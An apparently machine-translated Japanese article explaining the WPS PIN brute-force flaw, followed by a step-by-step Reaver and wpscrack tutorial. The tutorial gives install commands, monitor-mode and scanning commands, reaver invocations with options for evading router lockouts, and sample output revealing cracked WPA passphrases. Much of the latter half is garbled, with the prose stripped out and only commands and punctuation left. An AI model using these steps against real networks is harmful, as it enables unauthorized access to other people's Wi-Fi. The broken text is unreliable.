少し前までは、WPA2テクノロジーで保護されたワイヤレスネットワークは完全に安全であると思われていました。 接続する簡単なキーを見つけることは本当に可能です。 しかし、本当に長いキーをインストールした場合、レインボーテーブルも、GPUによる加速も、それを実現するのに役立ちません。 しかし、判明したように、最近発見されたWPSプロトコルの脆弱性を使用して、ワイヤレスネットワークに接続できます。
簡素化の価格
接続するためにキーを入力する必要のないオープンアクセスポイントは、ますます少なくなっています。 それらはすぐにレッドブックに掲載されるようです。 ワイヤレスネットワークがキーで閉じられ、外部の接続から自分自身を保護できることさえ知らない場合は、この可能性について次第に知らされています。 セットアップを簡素化するために、少なくとも人気のあるルーターモデルの主要なプロバイダーによってリリースされたカスタムファームウェアを使用してください。 2つのことを指定する必要があります-ワイヤレスネットワークを保護するためのログイン/パスワードおよび...キー。 さらに重要なことは、機器メーカー自身がセットアッププロセスを簡単にすることです。 そのため、最新のルーターのほとんどはWPS(Wi-Fi Protected Setup)メカニズムをサポートしています。 これにより、ユーザーは「暗号化を有効にしてWPAキーを登録する必要がある」という事実に煩わされることなく、数秒で安全なワイヤレスネットワークをセットアップできます。 システムに8桁の文字のPINを入力しました。これはルーターに書き込まれています-これで完了です! そして、ここで、しっかり握ってください。 12月、2人の研究者がすぐにWPSプロトコルの重大な根本的なギャップについて話しました。 これは、ルーターのバックドアのようなものです。 アクセスポイントでWPSがアクティブになっている場合(しばらくの間、ほとんどのルーターでデフォルトで有効になっている場合)、接続用のPINを選択して、数時間で接続用のキーを削除できることがわかりました!
WPSはどのように機能しますか?
WPSの作成者のアイデアは素晴らしいです。 このメカニズムは、ネットワーク名と暗号化を自動的に設定します。 したがって、ユーザーはWebインターフェイスに移動して複雑な設定を処理する必要はありません。 また、既に構成されているネットワークに、任意のデバイス(ラップトップなど)を簡単に追加できます。PINを正しく入力すると、必要なすべての設定を受け取ります。 これは非常に便利なため、市場のすべての主要プレーヤー(Cisco / Linksys、Netgear、D-Link、Belkin、Buffalo、ZyXEL)がWPSをサポートするワイヤレスルーターを提供しています。 よく見てみましょう。
WPSを使用するには3つの方法があります。
- プッシュボタン接続(PBC) 。 ユーザーがルーター(ハードウェア)とコンピューター(ソフトウェア)の特別なボタンを押すと、構成プロセスがアクティブになります。 興味はありません。
- ウェブインターフェースでPINコードを入力する:ユーザーはブラウザからルーターの管理インターフェースに入り、デバイスのケースに書かれた8桁のPINコードを入力します(図1)。その後、設定プロセスが行われます。 この方法は、ルーターの初期構成により適しているため、考慮しません。
図1.ルーターのケースに書かれたWPS PINコード
- ユーザーのコンピューターでPINコードを入力します (図2)。
ルーターに接続するとき、特別なWPSセッションを開くことができます。このセッション内で、PINコードを正しく入力すると、ルーターを構成したり、既存の設定を取得したりできます。 これはすでに魅力的です。 そのようなセッションを開くために認証は必要ありません。 誰でもできる! PINコードは、すでにブルートフォースのような攻撃の影響を受けやすい可能性があります。 しかし、これらは単なる花です。 図2. WPS PINコードを入力するためのウィンドウ
脆弱性
前述したように、PINコードは8桁で構成されているため、10 ^ 8(100,000,000)の選択オプションがあります。 ただし、オプションの数は大幅に削減できます。 実際、PINコードの最後の桁は特定のチェックサムを表し、最初の7桁に基づいて計算されます。 その結果、すでに10 ^ 7(10,000,000)のオプションがあります。 しかし、それだけではありません! 次に、WPS認証プロトコルのデバイスを注意深く調べます(図3)。 総当たりの機会を残すために特別に設計されたようです。 PINコードの確認は2段階で実行されることがわかります。 2つの等しい部分に分割され、各部分は個別にチェックされます!
図3. WPS認証プロトコル
図を見てみましょう:
- M4メッセージを送信した後、攻撃者が応答でEAP-NACKを受信した場合、PINコードの最初の部分が間違っていることを確認できます。
- M6を送信した後にEAP-NACKを受信した場合、それに応じて、PINコードの2番目の部分は正しくありません。 前半には10 ^ 4(10,000)、後半には10 ^ 3(1,000)のオプションがあります。 その結果、完全な検索には11,000のオプションしかありません。 これがどのように機能するかをよりよく理解するには、図を見てください。
- 重要なポイントは、検索の可能な速度です。 WPS要求を処理するルーターの速度によって制限されます。一部のアクセスポイントは1秒ごとに結果を生成し、他のアクセスポイントは10秒ごとに生成します。 メイン時間は、Diffie-Hellmanアルゴリズムに従って公開キーを計算するために費やされます。これは、ステップM3の前に生成する必要があります。 これに費やされる時間は、クライアント側で単純な秘密鍵を選択することで短縮できます。これにより、他の鍵の計算がさらに簡単になります。 成功した結果を得るには、通常、すべてのオプションの半分だけを整理するだけで十分であり、平均してブルートフォースにかかる時間はわずか4〜10時間であることを実践が示しています。
図4. WPS PINブルートフォースブロック図
最初の実装
wpscrack, Python. Scapy, . Linux-, . , MAC- , MAC- (SSID).
$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v
sniffer started
trying 00000000
attempt took 0.95 seconds
trying 00010009
<...>
trying 18660005
attempt took 1.08 seconds
trying 18670004 # found 1st half of PIN
attempt took 1.09 seconds
trying 18670011
attempt took 1.08 seconds
<...>
trying 18674095 # found 2st half of PIN
<...>
Network Key:
0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo
0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras
0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac
0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65 king_this_one
<...>
, PIN-, — , . , , (61 ) . , wpscrack , : — Tactical Network Solutions. , PoC ,
Reaver. WPS-PIN PSK-, , . . , WPS .
HOW-TO
, Linux. , Reaver
BackTrack, . .
0.BackTrack 5 R1 VMware ISO. . ,
UNetbootin : , , , .
1.– root:toor. , «» ( BackTrack — GNOME, KDE):
$ startx
2. ReaverReaver, . ( «Applications > Internet > Wicd Network Manager»). , :
$ apt-get update
$ apt-get install reaver
, 1.3, . , , , , SVN. , , ( ).
$ svn checkout reaver-wps.googlecode.com/svn/trunk reaver-wps
$ cd ./reaver-wps/src/
$ ./configure
$ make
$ make install
BackTrack — . Arch Linux, , , PKGBUILD':
$ yaourt -S reaver-wps-svn
5. c Reaver
3.Reaver :
, :
$ iwconfig
( wlan0) – , ( , Reaver, ). :
$ airmon-ng start wlan0
, ( mon0). BSSID. airodump-ng:
$ airodump-ng mon0
. WPA/WPA2 PSK. , . , — kismet, . , WPS. Reaver ( SVN) wash:
$ ./wash -i mon0
, . '-f' .cap , , , airodump-ng. Reaver BackTrack wash. , .
4.PIN’. Reaver . ( ) BSSID :
$ reaver -i mon0 -b 00:21:29:74:67:50 -vv
"-vv" , , .
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from 00:21:29:74:67:50
[+] Associated with 00:21:29:74:67:50 (ESSID: linksys)
[+] Trying pin 63979978
PIN’ , , , . . , PIN, . , :
[+] Trying pin 64637129
[+] Key cracked in 13654 seconds
[+] WPS PIN: '64637129'
[+] WPA PSK: 'MyH0rseThink$YouStol3HisCarrot!'
[+] AP SSID: 'linksys'
— , , WPA-PSK, . , .
6. Reaver Pro — Reaver
?
— WPS . , , . , , , , . , , – . , WPS PIN-, 90 . , , ?
Reaver
HOWTO Reaver. WPS , . , .
- SSID :
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
- '--dh-small', , :
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
- . :
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2
- . :
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0
- WPS , , . Reaver 315 , :
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
- WPS PIN-, . Reaver , '--nack':
# reaver -i mon0 -b 00:01:02:03:04:05 --nack
- '--eap-terminate' , WPS- EAP FAIL:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
- WPS- , PIN-, . . Reaver , '--fail-wait':
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360
FAQ
: ?
: , , . — Aircrack-ng (bit.ly/wifi_adapter_list). , , RTL8187L. USB’ 20$.
: «timeout» «out of order»?
: - . , WPS.
: MAC-?
: , MAC mon0, . , , wlan0.
: Reaver , WEP ?
: WEP , (IV), . , - , - . WPS Reaver PIN-. - , , WPS-. WPS . , , , . ALFA Network dBi, , .
: Reaver PIN, ?
: , WPS. wash: , .
: ?
: - , .
: «rate limiting detected»?
: , WPS. ( ), ( ). Reaver 1.3, - . '--ignore-locks' SVN.
: Reaver ?
: , , , , .
- Wi-Fi
- WEP (Wired Equivalent Privacy). . , RC4. airodump-ng aircrack-ng, . wesside-ng, WEP .
- WPA/WPA2 (Wireless Protected Access). — WPA/WPA2 ( WPA Handshake, ). , . , , , NVIDIA CUDA ATI Stream GPU. — aircrack-ng ( ), cowpatty ( ), pyrit ( ).
, (03) 158
: pkruglov (ivinside.blogspot.com).
«»